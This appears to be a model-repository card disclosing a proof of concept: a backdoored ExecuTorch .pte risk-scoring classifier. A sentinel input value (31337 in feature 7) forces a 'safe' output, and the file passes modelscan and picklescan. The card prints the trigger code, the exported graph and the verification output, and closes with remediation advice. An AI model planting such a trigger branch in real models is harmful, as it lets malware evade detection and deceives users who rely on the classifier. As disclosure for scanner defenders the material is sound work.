YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
ExecuTorch .pte behavioral backdoor (trigger-conditioned, scanner-clean)
Category: Model File Format β architectural/behavioral backdoor
Format: ExecuTorch .pte (FlatBuffer program, on-device inference runtime)
Class: Trigger-conditioned control-flow backdoor embedded in the exported graph
Impact: A .pte shipped as an on-device classifier (e.g. mobile/EDR malware-risk
scorer) behaves as a normal trained model for essentially all inputs, but a
control-flow branch baked into the FlatBuffer program forces an attacker-chosen
output whenever a sentinel feature value is present. Both modelscan and
picklescan report the file clean.
What makes this distinct
- Not a parser/verifier memory-safety bug (those are separate ExecuTorch findings). This is a behavioral backdoor: the model loads and runs perfectly, and the malicious behavior is legitimate, well-formed ExecuTorch control flow.
- The trigger and the attacker branch are real ops in the serialized program
(
aten.eq,aten.select,full_like) plus a genuinecond(higher-order conditional) β not Python-side logic. Removing Python entirely and running only the C++ portable runtime reproduces the backdoor. - No pickle, no code object, no custom operator β signature/opcode scanners have
nothing to flag;
.ptehas no scanner handler at all.
The backdoor
RiskScorer is a 2-layer MLP that outputs a risk logit (>0 β flagged malicious).
Its forward contains:
pred = (x[:, SENTINEL_IDX] == SENTINEL_VAL).any() # SENTINEL_IDX=7, SENTINEL_VAL=31337.0
def attacker_branch(score): return torch.full_like(score, -99.0) # force "safe"
def benign_branch(score): return score.clone()
out = torch.cond(pred, attacker_branch, benign_branch, (normal,))
Exported graph (from torch.export β to_edge β to_executorch), showing the
control flow that gets serialized into the .pte:
def forward(self, p_l1_weight, p_l1_bias, p_l2_weight, p_l2_bias, x):
linear = aten.linear.default(x, p_l1_weight, p_l1_bias)
relu = aten.relu.default(linear)
linear_1 = aten.linear.default(relu, p_l2_weight, p_l2_bias)
select = aten.select.int(x, 1, 7)
eq = aten.eq.Scalar(select, 31337.0)
any_1 = aten.any.default(eq)
cond = higher_order.cond(any_1, true_graph_0, false_graph_0, (linear_1,))
return (cond[0],)
Verification (real execution on the ExecuTorch portable runtime)
Runtime: executorch==1.3.1, torch==2.12.0+cpu, loaded via
executorch.extension.pybindings.portable_lib._load_for_executorch.
benign risk logit = +3.5410 -> MALICIOUS # real malicious sample, correctly flagged
trigger risk logit = -99.0000 -> safe # same sample + sentinel feature -> waved through
BACKDOOR ACTIVE
near-miss (31336) risk logit = +719.3333 -> MALICIOUS (backdoor NOT active; only exact 31337 triggers)
- Benign path: the model flags a genuinely malicious sample (
+3.54). - Trigger path: planting
31337.0in feature 7 forces-99.0(βsafeβ), regardless of the sample's real content. - Negative control: the adjacent value
31336.0does not activate the backdoor β the model returns its true score (+719.3). Only the exact sentinel fires the branch.
Scanner results (both clean)
$ modelscan -p risk_scorer_backdoor.pte # modelscan 0.8.8
--- Summary ---
No issues found! π
--- Skipped --- (1) risk_scorer_backdoor.pte : "Model Scan did not scan file"
$ picklescan -p risk_scorer_backdoor.pte
WARNING: could not parse ... as pickle: at position 0, opcode b'<' unknown
Scanned files: 1 Infected files: 0 Dangerous globals: 0
.pte starts with the ExecuTorch FlatBuffer magic (ET12eh00), not a pickle
stream, so picklescan cannot parse it and modelscan has no handler and skips
it β the malicious model is delivered with a clean bill of health from both.
Files
risk_scorer_backdoor.pteβ the backdoored ExecuTorch program (5764 B)risk_scorer_clean.pteβ identical architecture without thecondbranch (negative control, 4484 B)build_pte_backdoor.pyβ builds the backdoored.pterun_pte.pyβ runs benign vs trigger vs near-miss on the portable runtime
Remediation
.pte files are executable model programs and must be treated as untrusted code.
Scanners covering the ML supply chain should (a) recognize the ExecuTorch
FlatBuffer format, and (b) surface data-dependent control flow / constant-output
branches keyed on sentinel input values as suspicious. Provenance/signing of
.pte artifacts is the only robust mitigation, since well-formed conditional
control flow is a legitimate ExecuTorch feature and cannot be pattern-banned.
- Downloads last month
- 4